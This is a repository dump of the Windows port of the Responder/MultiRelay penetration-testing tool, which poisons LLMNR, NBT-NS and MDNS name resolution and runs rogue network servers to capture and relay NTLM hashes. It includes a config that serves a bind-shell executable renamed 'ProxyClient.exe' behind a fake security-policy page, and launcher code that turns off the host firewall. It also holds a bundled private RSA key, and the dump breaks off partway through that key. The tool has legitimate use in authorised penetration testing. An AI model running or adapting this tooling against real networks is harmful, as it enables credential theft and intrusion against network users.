├── README.md
├── binaries
└── Responder
│ ├── MultiRelay.exe
│ ├── Responder.conf
│ ├── Responder.exe
│ ├── logs
│ └── .gitignore
│ └── relay-dumps
│ └── .gitignore
└── src
├── LICENSE
├── Responder.conf
├── Responder.py
├── certs
├── gen-self-signed-cert.sh
├── responder.crt
└── responder.key
├── files
├── AccessDenied.html
└── BindShell.exe
├── fingerprint.py
├── logs
└── .gitignore
├── odict.py
├── packets.py
├── poisoners
├── LLMNR.py
├── MDNS.py
├── NBTNS.py
└── __init__.py
├── servers
├── Browser.py
├── DNS.py
├── FTP.py
├── HTTP.py
├── HTTP_Proxy.py
├── IMAP.py
├── Kerberos.py
├── LDAP.py
├── MSSQL.py
├── POP3.py
├── Proxy_Auth.py
├── SMB.py
├── SMTP.py
└── __init__.py
├── settings.py
├── tools
├── BrowserListener.py
├── DHCP.py
├── DHCP_Auto.sh
├── FindSMB2UPTime.py
├── FindSQLSrv.py
├── Icmp-Redirect.py
├── MultiRelay
│ ├── MultiRelay.py
│ ├── RelayMultiCore.py
│ ├── RelayMultiPackets.py
│ ├── SMBFinger
│ │ ├── Finger.py
│ │ ├── __init__.py
│ │ └── odict.py
│ ├── creddump
│ │ ├── CHANGELOG
│ │ ├── COPYING
│ │ ├── README
│ │ ├── __init__.py
│ │ ├── cachedump.py
│ │ ├── framework
│ │ │ ├── __init__.py
│ │ │ └── win32
│ │ │ │ ├── __init__.py
│ │ │ │ ├── addrspace.py
│ │ │ │ ├── domcachedump.py
│ │ │ │ ├── hashdump.py
│ │ │ │ ├── lsasecrets.py
│ │ │ │ ├── newobj.py
│ │ │ │ ├── object.py
│ │ │ │ ├── rawreg.py
│ │ │ │ └── types.py
│ │ ├── lsadump.py
│ │ └── pwdump.py
│ ├── odict.py
│ └── relay-dumps
│ │ └── .gitignore
├── RunFinger.py
└── odict.py
└── utils.py
/README.md:
--------------------------------------------------------------------------------
1 | # Responder And MultiRelay For Windows #
2 |
3 | NBT-NS/LLMNR Responder and Cross-Protocol NTLM Relay Windows Version (Beta)
4 |
5 | Laurent Gaffie
6 |
7 | http://g-laurent.blogspot.com/
8 |
9 | Follow Responder latest updates on twitter:
10 |
11 | https://twitter.com/PythonResponder
12 |
13 | ## Intro ##
14 |
15 | This tool is first an LLMNR, NBT-NS and MDNS responder, it will answer to
16 | *specific* NBT-NS (NetBIOS Name Service) queries based on their name
17 | suffix (see: http://support.microsoft.com/kb/163409). By default, the
18 | tool will only answers to File Server Service request, which is for SMB.
19 | The concept behind this, is to target our answers, and be stealthier on
20 | the network. This also helps to ensure that we don't break legitimate
21 | NBT-NS behavior. You can set the -r option via command line if
22 | you want this tool to answer to the Workstation Service request name
23 | suffix.
24 |
25 | MultiRelay has also been ported to this Windows version, allowing a pentest to pivot across compromises.
26 |
27 | ## Features ##
28 |
29 | - Experimental Windows Version.
30 |
31 | - Goal of this version is to be able to propagate compromises across subnets and domains from any compromised Windows machine. This tool can also be used compromise a domain from an external penetration test.
32 |
33 | - This version will disable netbios on all interfaces and the current firewall profile on the target host.
34 |
35 | - Default values will be turned back On when killing Responder (CRTL-C).
36 |
37 | - LLMNR and Netbios works out of the box on any Windows XP-2003 and apparently on Windows 2012/2016.
38 |
39 | - Netbios support works on all versions.
40 |
41 | - Best way to collect hashes with this Windows version: Responder.exe -i IP_Addr -rPv
42 |
43 | ## Installing ##
44 |
45 | - Binary:
46 |
47 | Just drop the executable and the configuration file (Responder.conf) inside a directory (eg: c:/temp/responder) and launch it.
48 |
49 | - From source:
50 | Install python on a Windows machine.
51 |
52 | run "pip install pyinstaller"
53 |
54 | cd in Responder source directory
55 |
56 | pyinstaller --onedir -F Responder.py
57 |
58 | cd tools/MultiRelay/
59 |
60 | pyinstaller --onedir -F MultiRelay.py
61 |
62 | Your binary will be located in the folder dist/
63 |
64 | - Executing the source directly:
65 |
66 | You can run Responder as usual from the source folder (with python installed): python Responder.py
67 |
68 | ## Considerations ##
69 |
70 | - Make sure a conventional Responder.conf file is present in Responder running directory.
71 |
72 | - Any rogue server can be turn off in Responder.conf.
73 |
74 | - For now, SMB rogue authentication server is *not* supported in Responder and MultiRelay.
75 |
76 | ## Donation ##
77 |
78 | You can contribute to this project by donating to the following BTC address:
79 |
80 | 1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW
81 |
82 |
83 | ## Copyright ##
84 |
85 | NBT-NS/LLMNR/MDNS Responder
86 | Created and maintained by Laurent Gaffie
87 |
88 | This program is free software: you can redistribute it and/or modify
89 | it under the terms of the GNU General Public License as published by
90 | the Free Software Foundation, either version 3 of the License, or
91 | (at your option) any later version.
92 |
93 | This program is distributed in the hope that it will be useful,
94 | but WITHOUT ANY WARRANTY; without even the implied warranty of
95 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
96 | GNU General Public License for more details.
97 |
98 | You should have received a copy of the GNU General Public License
99 | along with this program. If not, see
100 |
101 |
--------------------------------------------------------------------------------
/binaries/Responder/MultiRelay.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lgandx/Responder-Windows/eee1254b2fce47e469a3ab8cf572c3c499df70b4/binaries/Responder/MultiRelay.exe
--------------------------------------------------------------------------------
/binaries/Responder/Responder.conf:
--------------------------------------------------------------------------------
1 | [Responder Core]
2 |
3 | ; Servers to start
4 | SQL = On
5 | SMB = On
6 | Kerberos = On
7 | FTP = On
8 | POP = On
9 | SMTP = On
10 | IMAP = On
11 | HTTP = On
12 | HTTPS = On
13 | DNS = On
14 | LDAP = On
15 |
16 | ; Custom challenge
17 | Challenge = 1122334455667788
18 |
19 | ; SQLite Database file
20 | ; Delete this file to re-capture previously captured hashes
21 | Database = Responder.db
22 |
23 | ; Default log file
24 | SessionLog = Responder-Session.log
25 |
26 | ; Poisoners log
27 | PoisonersLog = Poisoners-Session.log
28 |
29 | ; Analyze mode log
30 | AnalyzeLog = Analyzer-Session.log
31 |
32 | ; Dump Responder Config log:
33 | ResponderConfigDump = Config-Responder.log
34 |
35 | ; Specific IP Addresses to respond to (default = All)
36 | ; Example: RespondTo = 10.20.1.100-150, 10.20.3.10
37 | RespondTo =
38 |
39 | ; Specific NBT-NS/LLMNR names to respond to (default = All)
40 | ; Example: RespondTo = WPAD, DEV, PROD, SQLINT
41 | RespondToName =
42 |
43 | ; Specific IP Addresses not to respond to (default = None)
44 | ; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
45 | DontRespondTo =
46 |
47 | ; Specific NBT-NS/LLMNR names not to respond to (default = None)
48 | ; Example: DontRespondTo = NAC, IPS, IDS
49 | DontRespondToName = ISATAP
50 |
51 | ; If set to On, we will stop answering further requests from a host
52 | ; if a hash has been previously captured for this host.
53 | AutoIgnoreAfterSuccess = Off
54 |
55 | ; If set to On, we will send ACCOUNT_DISABLED when the client tries
56 | ; to authenticate for the first time to try to get different credentials.
57 | ; This may break file serving and is useful only for hash capture
58 | CaptureMultipleCredentials = On
59 |
60 | ; If set to On, we will write to file all hashes captured from the same host.
61 | ; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto,
62 | ; domain\popo, domain\zozo. Recommended value: On, capture everything.
63 | CaptureMultipleHashFromSameHost = On
64 |
65 | [HTTP Server]
66 |
67 | ; Set to On to always serve the custom EXE
68 | Serve-Always = Off
69 |
70 | ; Set to On to replace any requested .exe with the custom EXE
71 | Serve-Exe = Off
72 |
73 | ; Set to On to serve the custom HTML if the URL does not contain .exe
74 | ; Set to Off to inject the 'HTMLToInject' in web pages instead
75 | Serve-Html = Off
76 |
77 | ; Custom HTML to serve
78 | HtmlFilename = files/AccessDenied.html
79 |
80 | ; Custom EXE File to serve
81 | ExeFilename = files/BindShell.exe
82 |
83 | ; Name of the downloaded .exe that the client will see
84 | ExeDownloadName = ProxyClient.exe
85 |
86 | ; Custom WPAD Script
87 | WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return 'PROXY ProxySrv:3128; PROXY ProxySrv:3141; DIRECT';}
88 |
89 | ; HTML answer to inject in HTTP responses (before
17 |
18 |
19 |
New Security Policy: Website Blocked
20 |
21 |
22 |
23 |
- Access has been blocked. Please download and install the new Proxy Client in order to access internet resources.
24 |
25 |
26 |
27 |
28 |
29 |
tag).
90 | ; Set to an empty string to disable.
91 | ; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
92 | HTMLToInject =
93 |
94 | [HTTPS Server]
95 |
96 | ; Configure SSL Certificates to use
97 | SSLCert = certs/responder.crt
98 | SSLKey = certs/responder.key
99 |
--------------------------------------------------------------------------------
/binaries/Responder/Responder.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lgandx/Responder-Windows/eee1254b2fce47e469a3ab8cf572c3c499df70b4/binaries/Responder/Responder.exe
--------------------------------------------------------------------------------
/binaries/Responder/logs/.gitignore:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lgandx/Responder-Windows/eee1254b2fce47e469a3ab8cf572c3c499df70b4/binaries/Responder/logs/.gitignore
--------------------------------------------------------------------------------
/binaries/Responder/relay-dumps/.gitignore:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lgandx/Responder-Windows/eee1254b2fce47e469a3ab8cf572c3c499df70b4/binaries/Responder/relay-dumps/.gitignore
--------------------------------------------------------------------------------
/src/Responder.conf:
--------------------------------------------------------------------------------
1 | [Responder Core]
2 |
3 | ; Servers to start
4 | SQL = On
5 | SMB = On
6 | Kerberos = On
7 | FTP = On
8 | POP = On
9 | SMTP = On
10 | IMAP = On
11 | HTTP = On
12 | HTTPS = On
13 | DNS = On
14 | LDAP = On
15 |
16 | ; Custom challenge
17 | Challenge = 1122334455667788
18 |
19 | ; SQLite Database file
20 | ; Delete this file to re-capture previously captured hashes
21 | Database = Responder.db
22 |
23 | ; Default log file
24 | SessionLog = Responder-Session.log
25 |
26 | ; Poisoners log
27 | PoisonersLog = Poisoners-Session.log
28 |
29 | ; Analyze mode log
30 | AnalyzeLog = Analyzer-Session.log
31 |
32 | ; Dump Responder Config log:
33 | ResponderConfigDump = Config-Responder.log
34 |
35 | ; Specific IP Addresses to respond to (default = All)
36 | ; Example: RespondTo = 10.20.1.100-150, 10.20.3.10
37 | RespondTo =
38 |
39 | ; Specific NBT-NS/LLMNR names to respond to (default = All)
40 | ; Example: RespondTo = WPAD, DEV, PROD, SQLINT
41 | RespondToName =
42 |
43 | ; Specific IP Addresses not to respond to (default = None)
44 | ; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
45 | DontRespondTo =
46 |
47 | ; Specific NBT-NS/LLMNR names not to respond to (default = None)
48 | ; Example: DontRespondTo = NAC, IPS, IDS
49 | DontRespondToName = ISATAP
50 |
51 | ; If set to On, we will stop answering further requests from a host
52 | ; if a hash has been previously captured for this host.
53 | AutoIgnoreAfterSuccess = Off
54 |
55 | ; If set to On, we will send ACCOUNT_DISABLED when the client tries
56 | ; to authenticate for the first time to try to get different credentials.
57 | ; This may break file serving and is useful only for hash capture
58 | CaptureMultipleCredentials = On
59 |
60 | ; If set to On, we will write to file all hashes captured from the same host.
61 | ; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto,
62 | ; domain\popo, domain\zozo. Recommended value: On, capture everything.
63 | CaptureMultipleHashFromSameHost = On
64 |
65 | [HTTP Server]
66 |
67 | ; Set to On to always serve the custom EXE
68 | Serve-Always = Off
69 |
70 | ; Set to On to replace any requested .exe with the custom EXE
71 | Serve-Exe = Off
72 |
73 | ; Set to On to serve the custom HTML if the URL does not contain .exe
74 | ; Set to Off to inject the 'HTMLToInject' in web pages instead
75 | Serve-Html = Off
76 |
77 | ; Custom HTML to serve
78 | HtmlFilename = files/AccessDenied.html
79 |
80 | ; Custom EXE File to serve
81 | ExeFilename = files/BindShell.exe
82 |
83 | ; Name of the downloaded .exe that the client will see
84 | ExeDownloadName = ProxyClient.exe
85 |
86 | ; Custom WPAD Script
87 | WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return 'PROXY ProxySrv:3128; PROXY ProxySrv:3141; DIRECT';}
88 |
89 | ; HTML answer to inject in HTTP responses (before tag).
90 | ; Set to an empty string to disable.
91 | ; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
92 | HTMLToInject =
93 |
94 | [HTTPS Server]
95 |
96 | ; Configure SSL Certificates to use
97 | SSLCert = certs/responder.crt
98 | SSLKey = certs/responder.key
99 |
--------------------------------------------------------------------------------
/src/Responder.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # This file is part of Responder, a network take-over set of tools
3 | # created and maintained by Laurent Gaffie.
4 | # email: laurent.gaffie@gmail.com
5 | # This program is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 | #
10 | # This program is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU General Public License
16 | # along with this program. If not, see .
17 | import optparse
18 | import ssl
19 |
20 | from SocketServer import TCPServer, UDPServer, ThreadingMixIn
21 | from threading import Thread
22 | from utils import *
23 | import struct
24 | banner()
25 |
26 | parser = optparse.OptionParser(usage='python %prog -i IP_Addr -w -r -f\nor:\npython %prog -i IP_Addr -wrf', version=settings.__version__, prog=sys.argv[0])
27 | parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
28 | parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
29 |
30 | parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
31 |
32 | parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
33 | parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
34 | parser.add_option('-d', '--NBTNSdomain', action="store_true", help="Enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network. Default: False", dest="NBTNSDomain", default=False)
35 | parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False)
36 | parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
37 | parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
38 | parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
39 |
40 | parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False", dest="ProxyAuth_On_Off", default=False)
41 |
42 | parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
43 | parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
44 | options, args = parser.parse_args()
45 |
46 |
47 | if options.OURIP is None:
48 | print "\n-i mandatory option is missing\n"
49 | parser.print_help()
50 | exit(-1)
51 |
52 | settings.init()
53 | settings.Config.populate(options)
54 |
55 | StartupMessage()
56 |
57 | settings.Config.ExpandIPRanges()
58 |
59 | if settings.Config.AnalyzeMode:
60 | print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)
61 |
62 | class ThreadingUDPServer(ThreadingMixIn, UDPServer):
63 | def server_bind(self):
64 | if OsInterfaceIsSupported():
65 | try:
66 | if settings.Config.Bind_To_ALL:
67 | pass
68 | else:
69 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
70 | except:
71 | pass
72 | UDPServer.server_bind(self)
73 |
74 | class ThreadingTCPServer(ThreadingMixIn, TCPServer):
75 | def server_bind(self):
76 | if OsInterfaceIsSupported():
77 | try:
78 | if settings.Config.Bind_To_ALL:
79 | pass
80 | else:
81 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
82 | except:
83 | pass
84 | TCPServer.server_bind(self)
85 |
86 | class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
87 | def server_bind(self):
88 | if OsInterfaceIsSupported():
89 | try:
90 | if settings.Config.Bind_To_ALL:
91 | pass
92 | else:
93 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
94 | except:
95 | pass
96 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
97 | TCPServer.server_bind(self)
98 |
99 | class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
100 | def server_bind(self):
101 | MADDR = "224.0.0.251"
102 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
103 | mreq = struct.pack("=4sl", socket.inet_aton(MADDR), socket.INADDR_ANY)
104 | UDPServer.server_bind(self)
105 | self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
106 |
107 | class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
108 | def server_bind(self):
109 | MADDR = "224.0.0.252"
110 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
111 | mreq = struct.pack("=4sl", socket.inet_aton(MADDR), socket.INADDR_ANY)
112 | UDPServer.server_bind(self)
113 | self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
114 |
115 | ThreadingUDPServer.allow_reuse_address = 1
116 | ThreadingTCPServer.allow_reuse_address = 1
117 | ThreadingUDPMDNSServer.allow_reuse_address = 1
118 | ThreadingUDPLLMNRServer.allow_reuse_address = 1
119 | ThreadingTCPServerAuth.allow_reuse_address = 1
120 |
121 | def serve_thread_udp_broadcast(host, port, handler):
122 | try:
123 | server = ThreadingUDPServer((host, port), handler)
124 | server.serve_forever()
125 | except:
126 | print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
127 |
128 | def serve_NBTNS_poisoner(host, port, handler):
129 | serve_thread_udp_broadcast(host, port, handler)
130 |
131 | def serve_MDNS_poisoner(host, port, handler):
132 | try:
133 | server = ThreadingUDPMDNSServer((host, port), handler)
134 | server.serve_forever()
135 | except:
136 | print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
137 |
138 | def serve_LLMNR_poisoner(host, port, handler):
139 | try:
140 | server = ThreadingUDPLLMNRServer((host, port), handler)
141 | server.serve_forever()
142 | except:
143 | print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
144 |
145 | def serve_thread_udp(host, port, handler):
146 | try:
147 | if OsInterfaceIsSupported():
148 | server = ThreadingUDPServer((host, port), handler)
149 | server.serve_forever()
150 | else:
151 | server = ThreadingUDPServer((host, port), handler)
152 | server.serve_forever()
153 | except:
154 | print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
155 |
156 | def serve_thread_tcp(host, port, handler):
157 | try:
158 | if OsInterfaceIsSupported():
159 | server = ThreadingTCPServer((host, port), handler)
160 | server.serve_forever()
161 | else:
162 | server = ThreadingTCPServer((host, port), handler)
163 | server.serve_forever()
164 | except:
165 | print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running."
166 |
167 | def serve_thread_tcp_auth(host, port, handler):
168 | try:
169 | if OsInterfaceIsSupported():
170 | server = ThreadingTCPServerAuth((host, port), handler)
171 | server.serve_forever()
172 | else:
173 | server = ThreadingTCPServerAuth((host, port), handler)
174 | server.serve_forever()
175 | except:
176 | print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running."
177 |
178 | def serve_thread_SSL(host, port, handler):
179 | try:
180 |
181 | cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
182 | key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
183 |
184 | if OsInterfaceIsSupported():
185 | server = ThreadingTCPServer((host, port), handler)
186 | server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
187 | server.serve_forever()
188 | else:
189 | server = ThreadingTCPServer((host, port), handler)
190 | server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
191 | server.serve_forever()
192 | except:
193 | print color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running."
194 |
195 | def main():
196 | try:
197 | print "Preparing Windows for Responder...\nDisabling NetBIOS..."
198 | os.system("wmic /interactive:off nicconfig where TcpipNetbiosOptions=0 call SetTcpipNetbios 2")
199 | print "Turning firewall Off..."
200 | os.system("netsh firewall set opmode disable")
201 | print "Ready!"
202 |
203 | threads = []
204 |
205 | # Load (M)DNS, NBNS and LLMNR Poisoners
206 | from poisoners.LLMNR import LLMNR
207 | from poisoners.NBTNS import NBTNS
208 | from poisoners.MDNS import MDNS
209 | threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
210 | threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,)))
211 | threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,)))
212 |
213 | # Load Browser Listener
214 | from servers.Browser import Browser
215 | threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
216 |
217 | if settings.Config.HTTP_On_Off:
218 | from servers.HTTP import HTTP
219 | threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,)))
220 |
221 | if settings.Config.SSL_On_Off:
222 | from servers.HTTP import HTTPS
223 | threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTPS,)))
224 |
225 | if settings.Config.WPAD_On_Off:
226 | from servers.HTTP_Proxy import HTTP_Proxy
227 | threads.append(Thread(target=serve_thread_tcp, args=('', 3141, HTTP_Proxy,)))
228 |
229 | if settings.Config.ProxyAuth_On_Off:
230 | from servers.Proxy_Auth import Proxy_Auth
231 | threads.append(Thread(target=serve_thread_tcp_auth, args=('', 3128, Proxy_Auth,)))
232 |
233 | if settings.Config.SMB_On_Off:
234 | if settings.Config.LM_On_Off:
235 | from servers.SMB import SMB1LM
236 | threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMB1LM,)))
237 | threads.append(Thread(target=serve_thread_tcp, args=('', 139, SMB1LM,)))
238 | else:
239 | from servers.SMB import SMB1
240 | threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMB1,)))
241 | threads.append(Thread(target=serve_thread_tcp, args=('', 139, SMB1,)))
242 |
243 | if settings.Config.Krb_On_Off:
244 | from servers.Kerberos import KerbTCP, KerbUDP
245 | threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,)))
246 | threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,)))
247 |
248 | if settings.Config.SQL_On_Off:
249 | from servers.MSSQL import MSSQL
250 | threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,)))
251 |
252 | if settings.Config.FTP_On_Off:
253 | from servers.FTP import FTP
254 | threads.append(Thread(target=serve_thread_tcp, args=('', 21, FTP,)))
255 |
256 | if settings.Config.POP_On_Off:
257 | from servers.POP3 import POP3
258 | threads.append(Thread(target=serve_thread_tcp, args=('', 110, POP3,)))
259 |
260 | if settings.Config.LDAP_On_Off:
261 | from servers.LDAP import LDAP
262 | threads.append(Thread(target=serve_thread_tcp, args=('', 389, LDAP,)))
263 |
264 | if settings.Config.SMTP_On_Off:
265 | from servers.SMTP import ESMTP
266 | threads.append(Thread(target=serve_thread_tcp, args=('', 25, ESMTP,)))
267 | threads.append(Thread(target=serve_thread_tcp, args=('', 587, ESMTP,)))
268 |
269 | if settings.Config.IMAP_On_Off:
270 | from servers.IMAP import IMAP
271 | threads.append(Thread(target=serve_thread_tcp, args=('', 143, IMAP,)))
272 |
273 | if settings.Config.DNS_On_Off:
274 | from servers.DNS import DNS, DNSTCP
275 | threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,)))
276 | threads.append(Thread(target=serve_thread_tcp, args=('', 53, DNSTCP,)))
277 |
278 | for thread in threads:
279 | thread.setDaemon(True)
280 | thread.start()
281 |
282 | print color('[+]', 2, 1) + " Listening for events..."
283 |
284 | while True:
285 | time.sleep(1)
286 |
287 | except KeyboardInterrupt:
288 | print "\nCRTL-C detected, restoring original state."
289 | print "Re-enabling NetBIOS..."
290 | os.system("wmic /interactive:off nicconfig where TcpipNetbiosOptions=2 call SetTcpipNetbios 0")
291 | print "Turning firewall On..."
292 | os.system("netsh firewall set opmode enable")
293 | sys.exit("\r%s Exiting..." % color('[+]', 2, 1))
294 |
295 | if __name__ == '__main__':
296 | main()
297 |
--------------------------------------------------------------------------------
/src/certs/gen-self-signed-cert.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | openssl genrsa -out responder.key 2048
3 | openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/"
4 |
--------------------------------------------------------------------------------
/src/certs/responder.crt:
--------------------------------------------------------------------------------
1 | -----BEGIN CERTIFICATE-----
2 | MIIC0zCCAbugAwIBAgIJAOQijexo77F4MA0GCSqGSIb3DQEBBQUAMAAwHhcNMTUw
3 | NjI5MDU1MTUyWhcNMjUwNjI2MDU1MTUyWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC
4 | AQ8AMIIBCgKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k
5 | sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP
6 | 2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC
7 | 6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg
8 | WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF
9 | N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABo1AwTjAdBgNVHQ4EFgQU
10 | YY2ttc/bjfXwGqPvNUSm6Swg4VYwHwYDVR0jBBgwFoAUYY2ttc/bjfXwGqPvNUSm
11 | 6Swg4VYwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAXFN+oxRwyqU0
12 | YWTlixZl0NP6bWJ2W+dzmlqBxugEKYJCPxM0GD+WQDEd0Au4pnhyzt77L0sBgTF8
13 | koFbkdFsTyX2AHGik5orYyvQqS4jVkCMudBXNLt5iHQsSXIeaOQRtv7LYZJzh335
14 | 4431+r5MIlcxrRA2fhpOAT2ZyKW1TFkmeAMoH7/BTzGlre9AgCcnKBvvGdzJhCyw
15 | YlRGHrfR6HSkcoEeIV1u/fGU4RX7NO4ugD2wkOhUoGL1BS926WV02c5CugfeKUlW
16 | HM65lZEkTb+MQnLdpnpW8GRXhXbIrLMLd2pWW60wFhf6Ub/kGJ5bCUTnXYPRcA3v
17 | u0/CRCN/lg==
18 | -----END CERTIFICATE-----
19 |
--------------------------------------------------------------------------------
/src/certs/responder.key:
--------------------------------------------------------------------------------
1 | -----BEGIN RSA PRIVATE KEY-----
2 | MIIEowIBAAKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k
3 | sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP
4 | 2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC
5 | 6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg
6 | WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF
7 | N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABAoIBABuAkDTUj0nZpFLS
8 | 1RLvqoeamlcFsQ+QzyRkxzNYEimF1rp4rXiYJuuOmtULleogm+dpQsA9klaQyEwY
9 | kowTqG3ZO8kTFwIr9nOqiXENDX3FOGnchwwfaOz0XlNhncFm3e7MKA25T4UeI02U
10 | YBPS75NspHb3ltsVnqhYSYyv3w/Ml/mDz+D76dRgT6seLEOTkKwZj7icBR6GNO1R
11 | FLbffJNE6ZcXI0O892CTVUB4d3egcpSDuaAq3f/UoRB3xH7MlnEPfxE3y34wcp8i
12 | erqm/8uVeBOnQMG9FVGXBJXbjSjnWS27sj/vGm+0rc8c925Ed1QdIM4Cvk6rMOHQ
13 | IGkDnvECgYEA4e3B6wFtONysLhkG6Wf9lDHog35vE/Ymc695gwksK07brxPF1NRS
